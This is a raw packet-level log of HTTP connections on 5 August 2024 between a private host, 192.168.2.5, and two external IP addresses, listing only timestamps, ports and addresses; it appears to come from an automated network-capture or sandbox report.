Aug 5, 2024 11:59:54.303216934 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.303221941 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.303231001 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.303241968 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.303253889 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.303265095 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.303271055 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.303293943 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.303343058 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.303360939 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.303373098 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.303384066 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.303395987 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.303406954 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.303419113 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.303447008 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.303477049 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.304063082 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.304126978 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.304143906 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.304157019 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.304167986 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.304174900 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.304193020 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.304207087 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.304219007 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.304233074 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.304250956 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.304275990 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.304290056 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.304301977 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.304312944 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.304323912 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.304341078 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.304348946 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.304359913 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.304359913 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.304373026 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.304409981 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.305013895 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.305052042 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.305059910 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.305064917 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.305104017 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.305115938 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.305126905 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.305138111 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.305149078 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.305162907 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.305191040 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.305205107 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.305217981 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.305234909 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.305246115 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.305250883 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.305258036 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.305283070 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.348179102 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.607361078 CEST	80	49706	43.154.89.236	192.168.2.5
Aug 5, 2024 11:59:54.607579947 CEST	49706	80	192.168.2.5	43.154.89.236
Aug 5, 2024 11:59:54.607688904 CEST	49706	80	192.168.2.5	43.154.89.236
Aug 5, 2024 11:59:54.612593889 CEST	80	49706	43.154.89.236	192.168.2.5
Aug 5, 2024 11:59:54.629636049 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.629672050 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.629684925 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.629720926 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.629774094 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.629786968 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.629797935 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.629808903 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.629821062 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.629827976 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.629839897 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.629852057 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.629863024 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.629868984 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.629874945 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.629887104 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.629894972 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.629899025 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.629916906 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.629940033 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.629967928 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630146980 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630157948 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630168915 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630182981 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630192995 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630194902 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.630204916 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630208969 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.630217075 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630228043 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630239010 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630239964 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.630251884 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630259991 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.630265951 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630286932 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630297899 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630309105 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.630309105 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.630311012 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630323887 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630335093 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630342960 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.630353928 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630364895 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630368948 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.630377054 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630388975 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630400896 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.630417109 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630418062 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.630430937 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630455971 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.630598068 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630609035 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630620003 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630631924 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630641937 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.630642891 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630656958 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630666971 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.630669117 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630686998 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630692005 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.630700111 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630712032 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630717039 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.630723953 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630736113 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630748034 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630748987 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.630759001 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.630774975 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.630809069 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.676310062 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.978198051 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.978287935 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.978346109 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.978355885 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.978393078 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.978442907 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.978442907 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.978477001 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.978528023 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.978528023 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.978562117 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.978594065 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.978610992 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.978626966 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.978658915 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.978676081 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.978693008 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.978725910 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.978743076 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.978759050 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.978791952 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.978806973 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.978846073 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.978878021 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.978895903 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.978910923 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.978943110 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.978959084 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.978977919 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.979010105 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.979023933 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.979043007 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.979093075 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.320910931 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.320974112 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.321007967 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.321039915 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.321058989 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.321105957 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.321113110 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.321147919 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.321181059 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.321191072 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.321216106 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.321258068 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.321264982 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.321299076 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.321343899 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.321347952 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.321382046 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.321413994 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.321425915 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.321446896 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.321487904 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.321511984 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.321544886 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.321578979 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.321590900 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.321613073 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.321645975 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.321657896 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.321681976 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.321713924 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.321721077 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.321767092 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.321798086 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.321811914 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.321830988 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.321862936 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.321873903 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.321897030 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.321929932 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.321940899 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.321964025 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.321997881 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.322007895 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.322031021 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.322062016 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.322074890 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.322097063 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.322130919 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.322139978 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.322314024 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.322345972 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.322362900 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.322381020 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.322412968 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.322426081 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.322447062 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.322493076 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.322499037 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.322534084 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.322566032 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.322577953 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.322599888 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.322633982 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.322645903 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.322668076 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.322701931 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.322719097 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.322736025 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.322768927 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.322777987 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.322803020 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.322834969 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.322846889 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.322869062 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.322913885 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.322988987 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.323086977 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.323118925 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.323133945 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.323200941 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.323232889 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.323240995 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.323266029 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.323307991 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.601927042 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.602016926 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.602051973 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.602070093 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.602085114 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.602128029 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.602138996 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.602174044 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.602206945 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.602219105 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.602240086 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.602286100 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.602308989 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.602341890 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.602374077 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.602382898 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.602426052 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.602474928 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.602475882 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.602508068 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.602541924 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.602547884 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.602579117 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.602612972 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.602622986 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.602662086 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.602710962 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.602720976 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.602771997 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.602804899 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.602826118 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.602835894 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.602869034 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.602878094 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.602901936 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.602937937 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.602952957 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.602979898 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603013992 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603029013 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.603049994 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603084087 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603096962 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.603116035 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603148937 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603161097 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.603198051 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603231907 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603255987 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.603295088 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603328943 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603342056 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.603360891 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603398085 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603401899 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.603430033 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603466988 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603476048 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.603498936 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603533030 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603548050 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.603588104 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603621960 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603640079 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.603652000 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603698015 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.603703976 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603738070 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603769064 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603785992 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603801966 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603827953 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603837013 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603871107 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603904009 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603907108 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.603939056 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603954077 CEST	49764	80	192.168.2.5	27.221.16.179
